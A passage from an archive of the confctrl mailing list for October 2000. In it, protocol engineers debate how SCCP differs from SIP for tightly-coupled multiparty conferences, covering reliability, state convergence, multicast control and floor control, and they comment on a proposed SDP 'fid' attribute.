> > > Concerning the term 'tightly-coupled', you're right that there is
> > > some kind of misunderstanding. It does not imply that reliable
> > > transport or even unicast transport is a must to be used, e.g. as in
> > > the H.323.
> >
> > Of course tightly-coupled implies a reliability protocol,
> > otherwise you have
> > little assurance that the state of the participants
> > converges.  Whether
> > reliability is a transport function or a property of the application
> > protocol, and whether it is achived by saturation (endless
> > repetition),
> > forward error correction, or retransmissions, does not really make a
> > difference (and I think this is what you are addressing).
> >
> > Of course, there are various aspects that together could be
> > called tightly
> > coupled.  State convergence is one.  Another requirement in
> > many conferences
> > is the execution of a common policy with respect to member
> > requirements and
> > requests -- this is much harder to scale.
> >
> > Gruesse, Carsten
> >

-- 
Gonzalo Camarillo         Phone :  +358  9 299 33 71
Oy L M Ericsson Ab        Mobile:  +358 40 702 35 35
Telecom R&D               Fax   :  +358  9 299 30 52
FIN-02420 Jorvas          Email :  Gonzalo.Camarillo@ericsson.com
Finland                   http://www.hut.fi/~gonzalo

From confctrl-owner  Thu Oct 12 05:17:02 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id FAA29219
	for confctrl-outgoing; Thu, 12 Oct 2000 05:17:02 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id FAA29213
	for <confctrl@zephyr.isi.edu>; Thu, 12 Oct 2000 05:17:01 -0700 (PDT)
Received: from nmh.informatik.uni-bremen.de (nmh.informatik.uni-bremen.de [134.102.224.3])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id FAA25831
	for <confctrl@ISI.EDU>; Thu, 12 Oct 2000 05:17:08 -0700 (PDT)
Received: from cabo3 (dienstmann.informatik.uni-bremen.de [134.102.218.46])
	by nmh.informatik.uni-bremen.de (8.10.1/8.10.1) with SMTP id e9CCGvg19725;
	Thu, 12 Oct 2000 14:16:57 +0200 (MEST)
From: "Dr. Carsten Bormann" <cabo@tzi.org>
To: "Gonzalo Camarillo" <Gonzalo.Camarillo@lmf.ericsson.se>,
        <Dirk.Trossen@nokia.com>
Cc: <reichert@fokus.gmd.de>, <cabo@Informatik.Uni-Bremen.DE>,
        <confctrl@ISI.EDU>
Subject: RE: SCCP
Date: Thu, 12 Oct 2000 14:16:57 +0200
Message-ID: <NDBBLDHFKCPEPDKNKJBKMEILENAA.cabo@tzi.org>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
In-Reply-To: <39E5A719.62F31D07@lmf.ericsson.se>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> I assume that the difference between a protocol for tightly-coupled
> sessions such as SCCP and SIP with these call control extensions is that
> SCCP provides a much higher degree of control. Am I right?

There are a number of differences.

SIP is a session initiation protocol.  It was originally invented to invite
an additional participant into an existing (loosely coupled) conference.
SIP does not provide its own application semantics, this is left to SDP
(which was adequate for loosely coupled conferences).

SCCP was meant to be used within a conference that was established by some
other means.  E.g., you could use SIP to invite people to a conference only
giving a "control" media stream, which would use SCCP as a protocol.  As SDP
is inadequate, SCCP has defined its own application semantics, kind of a
precursor to the SDPng work that is now coming up again.

SCCP is inherently multiparty, with the two-party case as a special case.
SIP does support multicast for search, but does not have multicast
transaction semantics -- all its effects are point-to-point.  (Of course,
SIP is avian-carrier-equivalent, i.e., you can use it to transport anything,
so you can e.g. run IP over it, which allows to do much more grandiose
things.  But SIP does not actually itself help in doing these things...)

Today, SIP is used as a point-to-point replacement for SCCP-style mid-course
control by "initiating" sessions, giving the name of an existing session and
new SDP, and hoping that the two ends will make a smooth transition.  Again,
SDPng will make this much more palatable.  SCCP (minus SDPng) is still
needed to do multiparty sessions, though.

Gruesse, Carsten


From confctrl-owner  Thu Oct 12 07:23:25 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id HAA05138
	for confctrl-outgoing; Thu, 12 Oct 2000 07:23:25 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id HAA05133
	for <confctrl@zephyr.isi.edu>; Thu, 12 Oct 2000 07:23:23 -0700 (PDT)
Received: from jindo.cisco.com (jindo.cisco.com [171.69.11.73])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id HAA21529
	for <confctrl@ISI.EDU>; Thu, 12 Oct 2000 07:23:36 -0700 (PDT)
Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [171.71.147.106])
	by jindo.cisco.com (8.8.8/2.5.1/Cisco List Logging/8.8.8) with ESMTP id HAA13841;
	Thu, 12 Oct 2000 07:22:06 -0700 (PDT)
Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id HAA09794; Thu, 12 Oct 2000 07:22:06 -0700 (PDT)
From: Michael Thomas <mat@cisco.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <14821.51470.600000.694429@thomasm-u1.cisco.com>
Date: Thu, 12 Oct 2000 07:22:06 -0700 (PDT)
To: Gonzalo Camarillo <Gonzalo.Camarillo@lmf.ericsson.se>
Cc: "Culpepper, Bert" <bert.culpepper@intervoice-brite.com>,
        Rohan Mahy <rohan@cisco.com>,
        Jonathan Rosenberg <jdrosen@dynamicsoft.com>, sip@lists.bell-labs.com,
        Henning Schulzrinne <hgs@cs.columbia.edu>, mmusic <confctrl@ISI.EDU>
Subject: Re: [SIP] draft-camarillo-sip-sdp-00.txt
In-Reply-To: <39E55120.4C00165F@lmf.ericsson.se>
References: <DBD1CC7CE357D211AECC009027158FD1033B976F@itmail-ict1-imc.wichi>
	<39E17C56.35D50F99@lmf.ericsson.se>
	<39E55120.4C00165F@lmf.ericsson.se>
X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid
X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4m<D]vnFJ>u!4x[/Z4t{V}~L]+Sk
 @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd
 bUcI'1!
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Gonzalo Camarillo writes:
 > I would like my session description to look like:
 > 
 >          v=0
 >          o=John 289085535 289085535 IN IP4 first.example.com
 >          t=0 0
 >          c=IN IP4 111.111.111.111
 >          m=audio 20000 RTP/AVP 0
 >          a=fid:1
 >          m=audio 20002 RTP/AVP 8
 >          a=fid:1
 > 
 > If an implementation does not understand the fid attribute it will try
 > to mix the audio streams. Since one is "empty" all the time, doing this
 > is not really a big deal. Thus, backwards compatibility is not a
 > concern.
 > 
 > Do you have any concerns with this approach?

   The main problem I see is with the interaction with
   QoS reservations. Namely, that you'd expect the receiver
   to book reservations for both flows. Doing:

   m=audio 20000 RTP/AVP 0 8

   on the other hand only implies that you book the ceil()
   of both flows. 

   Why is it so advantageous to segregate these into two 
   streams? The implicit coupling you're after seems like
   it's not well handled by SDP right now, and I'd bet
   that this would be better taken up as a working item
   for SDPng (if not already there) because my understanding
   is that explicit audio synch with video is also problematic in
   SDP right now, which is sort of similar.

		Mike

From confctrl-owner  Thu Oct 12 08:01:47 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id IAA07298
	for confctrl-outgoing; Thu, 12 Oct 2000 08:01:47 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id IAA07293
	for <confctrl@zephyr.isi.edu>; Thu, 12 Oct 2000 08:01:46 -0700 (PDT)
Received: from mailhub.fokus.gmd.de (mailhub.fokus.gmd.de [193.174.154.14])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id IAA29819
	for <confctrl@ISI.EDU>; Thu, 12 Oct 2000 08:01:57 -0700 (PDT)
Received: from benetnash.fokus.gmd.de (benetnash [193.175.133.195])
	by mailhub.fokus.gmd.de (8.8.8/8.8.8) with ESMTP id RAA28496;
	Thu, 12 Oct 2000 17:01:56 +0200 (MET DST)
Received: (from chr@localhost)
	by benetnash.fokus.gmd.de (8.8.8/8.8.8) id RAA04606;
	Thu, 12 Oct 2000 17:01:55 +0200 (MET DST)
Date: Thu, 12 Oct 2000 17:01:55 +0200
From: Christoph Reichert <reichert@fokus.gmd.de>
To: "Dr. Carsten Bormann" <cabo@tzi.org>
Cc: Dirk.Trossen@nokia.com, Gonzalo.Camarillo@lmf.ericsson.se,
        confctrl@ISI.EDU
Subject: Re: SCCP
Message-ID: <20001012170155.A4589@fokus.gmd.de>
References: <7DBC8CA3EFB9D211B7D30008C7894AFC01C7EFA4@dueis02nok> <NDBBLDHFKCPEPDKNKJBKKEIGENAA.cabo@tzi.org>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 1.0i
In-Reply-To: <NDBBLDHFKCPEPDKNKJBKKEIGENAA.cabo@tzi.org>; from cabo@tzi.org on Thu, Oct 12, 2000 at 01:14:22PM +0200
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

On Thu, Oct 12, 2000 at 01:14:22PM +0200, Dr. Carsten Bormann wrote:
> > Concerning the term 'tightly-coupled', you're right that there is
> > some kind of misunderstanding. It does not imply that reliable
> > transport or even unicast transport is a must to be used, e.g. as in
> > the H.323.
> 
> Of course tightly-coupled implies a reliability protocol, otherwise you have
> little assurance that the state of the participants converges.  Whether
> reliability is a transport function or a property of the application
> protocol, and whether it is achived by saturation (endless repetition),
> forward error correction, or retransmissions, does not really make a
> difference (and I think this is what you are addressing).

There must be at least enough "application redundancy" to achieve
semi-reliability. However, this does not imply per message reliability
(as shown in the NTE implementation).

> Of course, there are various aspects that together could be called tightly
> coupled.  State convergence is one.  Another requirement in many conferences

Yes, and this problem is harder to solve than reliability, and
reliability and total ordering an all that stuff alone is not enough to
achieve consistency. So the question is if there are other mechanisms
to achieve state convergence.

> is the execution of a common policy with respect to member requirements and
> requests -- this is much harder to scale.
> 
> Gruesse, Carsten
> 

cheers, chris

From confctrl-owner  Thu Oct 12 08:05:25 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id IAA07575
	for confctrl-outgoing; Thu, 12 Oct 2000 08:05:25 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id IAA07565
	for <confctrl@zephyr.isi.edu>; Thu, 12 Oct 2000 08:05:23 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id IAA00481
	for <confctrl@ISI.EDU>; Thu, 12 Oct 2000 08:05:35 -0700 (PDT)
Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191])
	by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id LAA14346;
	Thu, 12 Oct 2000 11:05:01 -0400 (EDT)
Message-ID: <39E5D569.D55A800D@cs.columbia.edu>
Date: Thu, 12 Oct 2000 11:14:49 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
X-Mailer: Mozilla 4.73 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Gonzalo Camarillo <Gonzalo.Camarillo@lmf.ericsson.se>
CC: Dirk.Trossen@nokia.com, cabo@tzi.org, reichert@fokus.gmd.de,
        cabo@Informatik.Uni-Bremen.DE, confctrl@ISI.EDU
Subject: Re: SCCP
References: <7DBC8CA3EFB9D211B7D30008C7894AFC01C7EFA5@dueis02nok> <39E5A719.62F31D07@lmf.ericsson.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

It might be helpful to specify more closely what "control" really means
in an Internet environment where you can't prevent people from sending
data. I can understand floor control, but I've never understood the
point of admission control in multicast (and with explicit invitations
to either an MCU or a multicast group, SIP provides about as much
control as you can reasonably expect). Maybe a more precise definition
would be helpful, taking into account that the world has moved along
since the original SCCP papers when SAP/SDP was the only Internet
approach to conferencing...

Gonzalo Camarillo wrote:
> 
> Hi,
> 
> SIP is not meant for tightly-coupled sessions. However, there are some
> drafts that provide certain call control using SIP. For example these
> two:
> 
> http://www.cs.columbia.edu/sip/drafts/draft-ietf-sip-cc-transfer-01.txt
> http://www.cs.columbia.edu/sip/drafts/draft-rosenberg-sip-3pcc-00.txt
> 
> I assume that the difference between a protocol for tightly-coupled
> sessions such as SCCP and SIP with these call control extensions is that
> SCCP provides a much higher degree of control. Am I right?
> 
> Thanks,
> 
> Gonzalo
> 
> Dirk.Trossen@nokia.com wrote:
> >
> > Hi all,
> >
> > I agree with your reliability point. It covers mainly what I meant to say.
> >
> > I guess that the policy issue goes into the direction of implementing
> > some kind of access control or application state synchronization.
> > I strongly agree that this is much harder to provide in a scalable manner
> > if you do not accept temporary inconsistencies of the associated state.
> > This is basically one of the tasks in the revision of the SCCP draft by
> > providing a scalable (whatever number this might be) floor control service.
> >
> > Regards
> >
> > Dirk
> >
> > > -----Original Message-----
> > > From: EXT Dr. Carsten Bormann [mailto:cabo@tzi.org]
> > > Sent: Thursday, October 12, 2000 1:14 PM
> > > To: Dirk.Trossen@nokia.com; reichert@fokus.gmd.de
> > > Cc: cabo@Informatik.Uni-Bremen.DE; Gonzalo.Camarillo@lmf.ericsson.se;
> > > confctrl@ISI.EDU
> > > Subject: RE: SCCP
> > >
> > >
> > > > Concerning the term 'tightly-coupled', you're right that there is
> > > > some kind of misunderstanding. It does not imply that reliable
> > > > transport or even unicast transport is a must to be used, e.g. as in
> > > > the H.323.
> > >
> > > Of course tightly-coupled implies a reliability protocol,
> > > otherwise you have
> > > little assurance that the state of the participants
> > > converges.  Whether
> > > reliability is a transport function or a property of the application
> > > protocol, and whether it is achived by saturation (endless
> > > repetition),
> > > forward error correction, or retransmissions, does not really make a
> > > difference (and I think this is what you are addressing).
> > >
> > > Of course, there are various aspects that together could be
> > > called tightly
> > > coupled.  State convergence is one.  Another requirement in
> > > many conferences
> > > is the execution of a common policy with respect to member
> > > requirements and
> > > requests -- this is much harder to scale.
> > >
> > > Gruesse, Carsten
> > >
> 
> --
> Gonzalo Camarillo         Phone :  +358  9 299 33 71
> Oy L M Ericsson Ab        Mobile:  +358 40 702 35 35
> Telecom R&D               Fax   :  +358  9 299 30 52
> FIN-02420 Jorvas          Email :  Gonzalo.Camarillo@ericsson.com
> Finland                   http://www.hut.fi/~gonzalo

From confctrl-owner  Thu Oct 12 08:13:37 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id IAA08159
	for confctrl-outgoing; Thu, 12 Oct 2000 08:13:37 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id IAA08138
	for <confctrl@zephyr.isi.edu>; Thu, 12 Oct 2000 08:13:35 -0700 (PDT)
Received: from mgw-x2.nokia.com (mgw-x2.nokia.com [131.228.20.22])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id IAA02396
	for <confctrl@ISI.EDU>; Thu, 12 Oct 2000 08:13:46 -0700 (PDT)
From: Dirk.Trossen@nokia.com
Received: from esebh03nok.ntc.nokia.com (esebh03nok.ntc.nokia.com [131.228.118.244])
	by mgw-x2.nokia.com (8.10.2/8.10.2/Nokia) with ESMTP id e9CFDeP26839;
	Thu, 12 Oct 2000 18:13:40 +0300 (EET DST)
Received: by esebh03nok with Internet Mail Service (5.5.2652.78)
	id <4YDQB4WW>; Thu, 12 Oct 2000 18:13:40 +0300
Message-ID: <7DBC8CA3EFB9D211B7D30008C7894AFC01C7EFAB@dueis02nok>
To: schulzrinne@cs.columbia.edu
Cc: cabo@tzi.org, reichert@fokus.gmd.de, cabo@Informatik.Uni-Bremen.DE,
        confctrl@ISI.EDU
Subject: RE: SCCP
Date: Thu, 12 Oct 2000 18:13:29 +0300
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2652.78)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,

I agree with your statement about admission control in terms of
preventing conference participants from joining a conference
to receive particular transmitted data. Furthermore, it's hard
to implement a forced leave (disband) in conference environments.
You could use appropriate security features (group key) for that
but this is currently not integrated in the draft (and the question
is whether is should be).

The current draft of SCCP provides membership control in terms
of maintaining a membership list and providing new members
with the appropriate information. Furthermore, a floor control 
service is provided.

Best regards



Dirk

> -----Original Message-----
> From: EXT Henning Schulzrinne [mailto:schulzrinne@cs.columbia.edu]
> Sent: Thursday, October 12, 2000 5:15 PM
> To: Gonzalo Camarillo
> Cc: Dirk.Trossen@nokia.com; cabo@tzi.org; reichert@fokus.gmd.de;
> cabo@Informatik.Uni-Bremen.DE; confctrl@ISI.EDU
> Subject: Re: SCCP
> 
> 
> It might be helpful to specify more closely what "control" 
> really means
> in an Internet environment where you can't prevent people from sending
> data. I can understand floor control, but I've never understood the
> point of admission control in multicast (and with explicit invitations
> to either an MCU or a multicast group, SIP provides about as much
> control as you can reasonably expect). Maybe a more precise definition
> would be helpful, taking into account that the world has moved along
> since the original SCCP papers when SAP/SDP was the only Internet
> approach to conferencing...
> 
> Gonzalo Camarillo wrote:
> > 
> > Hi,
> > 
> > SIP is not meant for tightly-coupled sessions. However, 
> there are some
> > drafts that provide certain call control using SIP. For 
> example these
> > two:
> > 
> > 
> http://www.cs.columbia.edu/sip/drafts/draft-ietf-sip-cc-transf
> er-01.txt
> > 
> http://www.cs.columbia.edu/sip/drafts/draft-rosenberg-sip-3pcc-00.txt
> > 
> > I assume that the difference between a protocol for tightly-coupled
> > sessions such as SCCP and SIP with these call control 
> extensions is that
> > SCCP provides a much higher degree of control. Am I right?
> > 
> > Thanks,
> > 
> > Gonzalo
> > 
> > Dirk.Trossen@nokia.com wrote:
> > >
> > > Hi all,
> > >
> > > I agree with your reliability point. It covers mainly 
> what I meant to say.
> > >
> > > I guess that the policy issue goes into the direction of 
> implementing
> > > some kind of access control or application state synchronization.
> > > I strongly agree that this is much harder to provide in a 
> scalable manner
> > > if you do not accept temporary inconsistencies of the 
> associated state.
> > > This is basically one of the tasks in the revision of the 
> SCCP draft by
> > > providing a scalable (whatever number this might be) 
> floor control service.
> > >
> > > Regards
> > >
> > > Dirk
> > >
> > > > -----Original Message-----
> > > > From: EXT Dr. Carsten Bormann [mailto:cabo@tzi.org]
> > > > Sent: Thursday, October 12, 2000 1:14 PM
> > > > To: Dirk.Trossen@nokia.com; reichert@fokus.gmd.de
> > > > Cc: cabo@Informatik.Uni-Bremen.DE; 
> Gonzalo.Camarillo@lmf.ericsson.se;
> > > > confctrl@ISI.EDU
> > > > Subject: RE: SCCP
> > > >
> > > >
> > > > > Concerning the term 'tightly-coupled', you're right 
> that there is
> > > > > some kind of misunderstanding. It does not imply that reliable
> > > > > transport or even unicast transport is a must to be 
> used, e.g. as in
> > > > > the H.323.
> > > >
> > > > Of course tightly-coupled implies a reliability protocol,
> > > > otherwise you have
> > > > little assurance that the state of the participants
> > > > converges.  Whether
> > > > reliability is a transport function or a property of 
> the application
> > > > protocol, and whether it is achived by saturation (endless
> > > > repetition),
> > > > forward error correction, or retransmissions, does not 
> really make a
> > > > difference (and I think this is what you are addressing).
> > > >
> > > > Of course, there are various aspects that together could be
> > > > called tightly
> > > > coupled.  State convergence is one.  Another requirement in
> > > > many conferences
> > > > is the execution of a common policy with respect to member
> > > > requirements and
> > > > requests -- this is much harder to scale.
> > > >
> > > > Gruesse, Carsten
> > > >
> > 
> > --
> > Gonzalo Camarillo         Phone :  +358  9 299 33 71
> > Oy L M Ericsson Ab        Mobile:  +358 40 702 35 35
> > Telecom R&D               Fax   :  +358  9 299 30 52
> > FIN-02420 Jorvas          Email :  Gonzalo.Camarillo@ericsson.com
> > Finland                   http://www.hut.fi/~gonzalo
> 

From confctrl-owner  Thu Oct 12 08:22:22 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id IAA08781
	for confctrl-outgoing; Thu, 12 Oct 2000 08:22:22 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id IAA08776
	for <confctrl@zephyr.isi.edu>; Thu, 12 Oct 2000 08:22:19 -0700 (PDT)
Received: from mailhub.fokus.gmd.de (mailhub.fokus.gmd.de [193.174.154.14])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id IAA04853
	for <confctrl@ISI.EDU>; Thu, 12 Oct 2000 08:22:31 -0700 (PDT)
Received: from benetnash.fokus.gmd.de (benetnash [193.175.133.195])
	by mailhub.fokus.gmd.de (8.8.8/8.8.8) with ESMTP id RAA01408;
	Thu, 12 Oct 2000 17:22:30 +0200 (MET DST)
Received: (from chr@localhost)
	by benetnash.fokus.gmd.de (8.8.8/8.8.8) id RAA04626;
	Thu, 12 Oct 2000 17:22:30 +0200 (MET DST)
Date: Thu, 12 Oct 2000 17:22:30 +0200
From: Christoph Reichert <reichert@fokus.gmd.de>
To: Gonzalo Camarillo <Gonzalo.Camarillo@lmf.ericsson.se>
Cc: Dirk.Trossen@nokia.com, cabo@Informatik.Uni-Bremen.DE, confctrl@ISI.EDU
Subject: Re: SCCP
Message-ID: <20001012172229.C4589@fokus.gmd.de>
References: <7DBC8CA3EFB9D211B7D30008C7894AFC01C7EFA5@dueis02nok> <39E5A719.62F31D07@lmf.ericsson.se>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 1.0i
In-Reply-To: <39E5A719.62F31D07@lmf.ericsson.se>; from Gonzalo.Camarillo@lmf.ericsson.se on Thu, Oct 12, 2000 at 02:57:13PM +0300
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

On Thu, Oct 12, 2000 at 02:57:13PM +0300, Gonzalo Camarillo wrote:
> Hi,
> 
> SIP is not meant for tightly-coupled sessions. However, there are some
> drafts that provide certain call control using SIP. For example these
> two:
> 
> http://www.cs.columbia.edu/sip/drafts/draft-ietf-sip-cc-transfer-01.txt
> http://www.cs.columbia.edu/sip/drafts/draft-rosenberg-sip-3pcc-00.txt
> 
> I assume that the difference between a protocol for tightly-coupled
> sessions such as SCCP and SIP with these call control extensions is that
> SCCP provides a much higher degree of control. Am I right?

No. The degree of control is not the topic.
The problem is a topological one.
SCCP is based on multicast because of the usual scaling issues, ie.
when central conference bridges or full meshes are no longer feasable.
Setting up trees or rings is possible, but hard, and have a great
overhead when changes in membership are frequent.

When application sessions are all multicast based, why should an associated
control session not also be multicast based? This would make much
things easier.

cheers, chris

> Thanks,
> 
> Gonzalo
> 
> Dirk.Trossen@nokia.com wrote:
> > 
> > Hi all,
> > 
> > I agree with your reliability point. It covers mainly what I meant to say.
> > 
> > I guess that the policy issue goes into the direction of implementing
> > some kind of access control or application state synchronization.
> > I strongly agree that this is much harder to provide in a scalable manner
> > if you do not accept temporary inconsistencies of the associated state.
> > This is basically one of the tasks in the revision of the SCCP draft by
> > providing a scalable (whatever number this might be) floor control service.
> > 
> > Regards
> > 
> > Dirk
> > 
> > > -----Original Message-----
> > > From: EXT Dr. Carsten Bormann [mailto:cabo@tzi.org]
> > > Sent: Thursday, October 12, 2000 1:14 PM
> > > To: Dirk.Trossen@nokia.com; reichert@fokus.gmd.de
> > > Cc: cabo@Informatik.Uni-Bremen.DE; Gonzalo.Camarillo@lmf.ericsson.se;
> > > confctrl@ISI.EDU
> > > Subject: RE: SCCP
> > >
> > >
> > > > Concerning the term 'tightly-coupled', you're right that there is
> > > > some kind of misunderstanding. It does not imply that reliable
> > > > transport or even unicast transport is a must to be used, e.g. as in
> > > > the H.323.
> > >
> > > Of course tightly-coupled implies a reliability protocol,
> > > otherwise you have
> > > little assurance that the state of the participants
> > > converges.  Whether
> > > reliability is a transport function or a property of the application
> > > protocol, and whether it is achived by saturation (endless
> > > repetition),
> > > forward error correction, or retransmissions, does not really make a
> > > difference (and I think this is what you are addressing).
> > >
> > > Of course, there are various aspects that together could be
> > > called tightly
> > > coupled.  State convergence is one.  Another requirement in
> > > many conferences
> > > is the execution of a common policy with respect to member
> > > requirements and
> > > requests -- this is much harder to scale.
> > >
> > > Gruesse, Carsten
> > >
> 
> -- 
> Gonzalo Camarillo         Phone :  +358  9 299 33 71
> Oy L M Ericsson Ab        Mobile:  +358 40 702 35 35
> Telecom R&D               Fax   :  +358  9 299 30 52
> FIN-02420 Jorvas          Email :  Gonzalo.Camarillo@ericsson.com
> Finland                   http://www.hut.fi/~gonzalo

From confctrl-owner  Thu Oct 12 09:27:24 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id JAA13099
	for confctrl-outgoing; Thu, 12 Oct 2000 09:27:24 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id JAA13094
	for <confctrl@zephyr.isi.edu>; Thu, 12 Oct 2000 09:27:23 -0700 (PDT)
Received: from mailhub.fokus.gmd.de (mailhub.fokus.gmd.de [193.174.154.14])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id JAA25296
	for <confctrl@ISI.EDU>; Thu, 12 Oct 2000 09:27:34 -0700 (PDT)
Received: from benetnash.fokus.gmd.de (benetnash [193.175.133.195])
	by mailhub.fokus.gmd.de (8.8.8/8.8.8) with ESMTP id SAA09085;
	Thu, 12 Oct 2000 18:27:33 +0200 (MET DST)
Received: (from chr@localhost)
	by benetnash.fokus.gmd.de (8.8.8/8.8.8) id SAA04713;
	Thu, 12 Oct 2000 18:27:33 +0200 (MET DST)
Date: Thu, 12 Oct 2000 18:27:33 +0200
From: Christoph Reichert <reichert@fokus.gmd.de>
To: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Cc: Gonzalo Camarillo <Gonzalo.Camarillo@lmf.ericsson.se>,
        Dirk.Trossen@nokia.com, cabo@Informatik.Uni-Bremen.DE,
        confctrl@ISI.EDU
Subject: Re: SCCP
Message-ID: <20001012182733.A4697@fokus.gmd.de>
References: <7DBC8CA3EFB9D211B7D30008C7894AFC01C7EFA5@dueis02nok> <39E5A719.62F31D07@lmf.ericsson.se> <39E5D569.D55A800D@cs.columbia.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 1.0i
In-Reply-To: <39E5D569.D55A800D@cs.columbia.edu>; from schulzrinne@cs.columbia.edu on Thu, Oct 12, 2000 at 11:14:49AM -0400
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

On Thu, Oct 12, 2000 at 11:14:49AM -0400, Henning Schulzrinne wrote:
> It might be helpful to specify more closely what "control" really means
> in an Internet environment where you can't prevent people from sending
> data. I can understand floor control, but I've never understood the

The same what it means in an ITU world, where T.124 (Generic Conference
Control) specifies things like opening and closing (application)
channels, floor control, the role of a conductor, what the conductor is
allowed to do, what other members are allowed to do (policies),
capability exchange and so on DURING the conference, ie. AFTER the
members have been invited and AFTER they have been admitted.

Or the same that has been tried with CCCP, the agreement protocol proposal
and what various commercial systems tried to do.

cheers, chris

> point of admission control in multicast (and with explicit invitations
> to either an MCU or a multicast group, SIP provides about as much
> control as you can reasonably expect). Maybe a more precise definition
> would be helpful, taking into account that the world has moved along
> since the original SCCP papers when SAP/SDP was the only Internet
> approach to conferencing...
> 
> Gonzalo Camarillo wrote:
> > 
> > Hi,
> > 
> > SIP is not meant for tightly-coupled sessions. However, there are some
> > drafts that provide certain call control using SIP. For example these
> > two:
> > 
> > http://www.cs.columbia.edu/sip/drafts/draft-ietf-sip-cc-transfer-01.txt
> > http://www.cs.columbia.edu/sip/drafts/draft-rosenberg-sip-3pcc-00.txt
> > 
> > I assume that the difference between a protocol for tightly-coupled
> > sessions such as SCCP and SIP with these call control extensions is that
> > SCCP provides a much higher degree of control. Am I right?
> > 
> > Thanks,
> > 
> > Gonzalo
> > 
> > Dirk.Trossen@nokia.com wrote:
> > >
> > > Hi all,
> > >
> > > I agree with your reliability point. It covers mainly what I meant to say.
> > >
> > > I guess that the policy issue goes into the direction of implementing
> > > some kind of access control or application state synchronization.
> > > I strongly agree that this is much harder to provide in a scalable manner
> > > if you do not accept temporary inconsistencies of the associated state.
> > > This is basically one of the tasks in the revision of the SCCP draft by
> > > providing a scalable (whatever number this might be) floor control service.
> > >
> > > Regards
> > >
> > > Dirk
> > >
> > > > -----Original Message-----
> > > > From: EXT Dr. Carsten Bormann [mailto:cabo@tzi.org]
> > > > Sent: Thursday, October 12, 2000 1:14 PM
> > > > To: Dirk.Trossen@nokia.com; reichert@fokus.gmd.de
> > > > Cc: cabo@Informatik.Uni-Bremen.DE; Gonzalo.Camarillo@lmf.ericsson.se;
> > > > confctrl@ISI.EDU
> > > > Subject: RE: SCCP
> > > >
> > > >
> > > > > Concerning the term 'tightly-coupled', you're right that there is
> > > > > some kind of misunderstanding. It does not imply that reliable
> > > > > transport or even unicast transport is a must to be used, e.g. as in
> > > > > the H.323.
> > > >
> > > > Of course tightly-coupled implies a reliability protocol,
> > > > otherwise you have
